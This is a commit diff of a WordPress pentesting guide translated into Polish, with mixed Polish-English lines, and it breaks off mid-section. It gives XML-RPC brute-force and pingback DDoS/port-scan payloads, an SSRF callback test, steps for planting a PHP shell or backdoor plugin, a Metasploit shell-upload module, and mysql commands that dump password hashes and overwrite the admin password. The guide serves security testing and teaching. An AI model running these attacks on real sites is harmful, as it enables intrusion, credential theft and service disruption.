Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:21:22 +00:00
parent 2afcb80875
commit 4a0c371fe0

View File

@ -2,47 +2,47 @@
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe informacje
## Basic Information
- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- W **wp-config.php** możesz znaleźć hasło główne do bazy danych.
- W **wp-config.php** możesz znaleźć hasło roota bazy danych.
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Główne pliki WordPressa**
### **Main WordPress Files**
- `index.php`
- `license.txt` zawiera przydatne informacje, takie jak wersja zainstalowanego WordPressa.
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej witryny WordPress.
- Foldery logowania (mogą być przemianowane, aby je ukryć):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa.
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych przy użyciu HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten sposób komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane do platformy.
- `wp-includes/` to katalog, w którym znajdują się pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
- `wp-sitemap.xml` W wersjach WordPress 5.5 i nowszych, WordPress generuje plik mapy witryny XML zawierający wszystkie publiczne wpisy oraz publicznie zapytalne typy wpisów i taksonomie.
**Post eksploatacja**
**Post exploitation**
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salta oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
### Uprawnienia użytkowników
- **Administrator**
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
- **Autor**: Publikuje i zarządza swoimi postami
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
- **Subskrybent**: Przegląda posty i edytuje swój profil
- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami
- **Author**: Publikuje i zarządza własnymi wpisami
- **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- **Subscriber**: Przegląda wpisy i edytuje swój profil
## **Pasywna enumeracja**
## **Passive Enumeration**
### **Sprawdź wersję WordPressa**
### **Sprawdzenie wersji WordPressa**
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ekstrakcja wersji ogólnie
### Wyodrębnianie wersji — ogólnie
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force na liście wtyczek i motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).
### Użytkownicy
- **ID Brute:** Uzyskujesz ważnych użytkowników z witryny WordPress, przeprowadzając Brute Force na identyfikatorach użytkowników:
- **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź to **400**, wtedy id jest **nieprawidłowe**.
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Inny punkt końcowy `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone będą tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**.
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
Zauważ także, że **/wp-json/wp/v2/pages** może prowadzić do leak adresów IP.
- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
- **Login username enumeration**: Podczas logowania się przez **`/wp-login.php`** komunikat (**message**) jest **inny** w zależności od tego, czy wskazany **username** istnieje, czy nie.
### XML-RPC
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
Jeśli `xml-rpc.php` jest aktywne, możesz wykonać credentials brute-force lub użyć go do uruchamiania DoS ataków na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład).
Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij takie żądanie:
**Sprawdź**
```html
@ -120,9 +120,9 @@ Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce poświadczeń**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można wykorzystać do bruteforce poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi metodami, które można wykorzystać do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
</params>
</methodCall>
```
Wiadomość _"Nieprawidłowa nazwa użytkownika lub hasło"_ wewnątrz odpowiedzi z kodem 200 powinna się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli poświadczenia nie są poprawne.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W
</params>
</methodCall>
```
Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Obejście 2FA**
**Omijanie 2FA**
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc, jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc jeśli masz ważne creds, ale główne logowanie jest chronione 2FA, **możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji, które możesz wykonać przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS lub skanowanie portów**
**DDoS or port scanning**
Jeśli możesz znaleźć metodę _**pingback.ping**_ w liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** przeprowadzić skanowanie jakiejś wewnętrznej **sieci** (możesz wskazać dowolny port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS.
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
**DDoS**
```html
@ -209,17 +209,17 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się
### wp-cron.php DoS
Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp-cron.php`**\
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
Ten plik zwykle znajduje się w katalogu głównym strony WordPress: **`/wp-cron.php`**\
Po **uzyskaniu dostępu** do tego pliku wykonywane jest "**ciężkie**" zapytanie MySQL (**query**), więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).
### /wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie.
Oto odpowiedź, gdy to nie działa:
This is the response when it doesn't work:
![](<../../images/image (365).png>)
@ -230,32 +230,32 @@ Oto odpowiedź, gdy to nie działa:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je wykorzystać.
## Automatic Tools
## Automatyczne narzędzia
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Uzyskaj dostęp przez nadpisanie bitu
## Uzyskaj dostęp przez nadpisanie jednego bitu
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogłeś zmienić 1 bit w dowolnym pliku wordpress. Można więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`).
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było przełączyć 1 bit w dowolnym pliku wordpress. Można było więc zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)**
**Modyfikacja pliku php w używanym motywie (wymagane dane logowania administratora)**
Wygląd → Edytor motywów → Szablon 404 (po prawej)
Appearance → Theme Editor → 404 Template (at the right)
Zmień zawartość na powłokę php:
Zmień zawartość na php shell:
![](<../../images/image (384).png>)
Szukaj w internecie, jak możesz uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz uzyskać dostęp tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -263,67 +263,67 @@ Możesz użyć:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
aby uzyskać sesję.
## Plugin RCE
### PHP plugin
Możliwe, że można przesłać pliki .php jako wtyczkę.\
Utwórz swój php backdoor używając na przykład:
Może być możliwe przesłanie plików .php jako plugin.\
Utwórz swój php backdoor na przykład używając:
![](<../../images/image (183).png>)
Następnie dodaj nową wtyczkę:
Następnie dodaj nowy plugin:
![](<../../images/image (722).png>)
Prześlij wtyczkę i naciśnij Zainstaluj teraz:
Wgraj plugin i naciśnij Install Now:
![](<../../images/image (249).png>)
Kliknij na Kontynuuj:
Kliknij na Procced:
![](<../../images/image (70).png>)
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell:
Prawdopodobnie nic się pozornie nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
![](<../../images/image (462).png>)
Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell:
Otwórz go — zobaczysz URL do wykonania reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### Wgrywanie i aktywacja złośliwego pluginu
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten odbywa się przez pulpit WordPressa w następujący sposób:
Ta metoda polega na instalacji złośliwego pluginu znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces przebiega przez WordPress dashboard w następujący sposób:
1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
2. **Instalacja wtyczki**:
- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`.
- Prześlij plik zip pobranej wtyczki.
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
4. **Eksploatacja**:
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
1. **Plugin Acquisition**: Plugin jest pobierany ze źródła takiego jak Exploit DB, np. [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`.
- Wgraj plik zip pobranego pluginu.
3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany z poziomu dashboardu.
4. **Exploitation**:
- Ze zainstalowanym i aktywowanym pluginem "reflex-gallery" można go wykorzystać, ponieważ jest znany z podatności.
- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do serwisu.
- Należy pamiętać, że to tylko jedna z wielu metod wykorzystania WordPressa.
Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
Treść zawiera ilustracje pokazujące kroki w WordPress dashboard podczas instalacji i aktywacji pluginu. Jednak ważne jest, aby pamiętać, że wykorzystywanie luk w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
**Aby uzyskać bardziej szczegółowe kroki, sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## Z XSS do RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa.
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów WordPressa innych firm.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
## Post Exploitation
Wyciągnij nazwy użytkowników i hasła:
Wyodrębnij nazwy użytkowników i hasła:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -331,29 +331,29 @@ Zmień hasło administratora:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Wordpress Wtyczki Pentest
### Attack Surface
### Powierzchnia ataku
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
Znajomość sposobów, w jaki wtyczka Wordpress może ujawnić funkcjonalność, jest kluczowa do znalezienia luk w tej funkcjonalności. Możesz znaleźć, w jaki sposób wtyczka może ujawniać funkcjonalność, w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, dość często te funkcje opierają zarówno autoryzację, jak i uwierzytelnienie na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
Jednym ze sposobów, w jaki wtyczka może udostępnić funkcje użytkownikom, są handlery AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, który **każdy uwierzytelniony użytkownik w instancji Wordpress może posiadać** (niezależnie od roli).
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezautoryzowanych).**
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla dowolnych użytkowników (nawet niezalogowanych).**
> [!OSTRZEŻENIE]
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
> [!CAUTION]
> Ponadto, jeżeli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany — zazwyczaj nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji o wysokich uprawnieniach.
- **REST API**
Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST API za pomocą funkcji `register_rest_route`:
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
**Jeżeli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
- **Bezpośredni dostęp do pliku php**
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
Oczywiście Wordpress używa PHP, a pliki w ramach pluginów są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pośrednictwem haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wariant **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
Niektóre wtyczki implementują skróty „trusted header” dla integracji wewnętrznych lub reverse proxy, a następnie używają tego nagłówka do ustawienia kontekstu aktualnego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
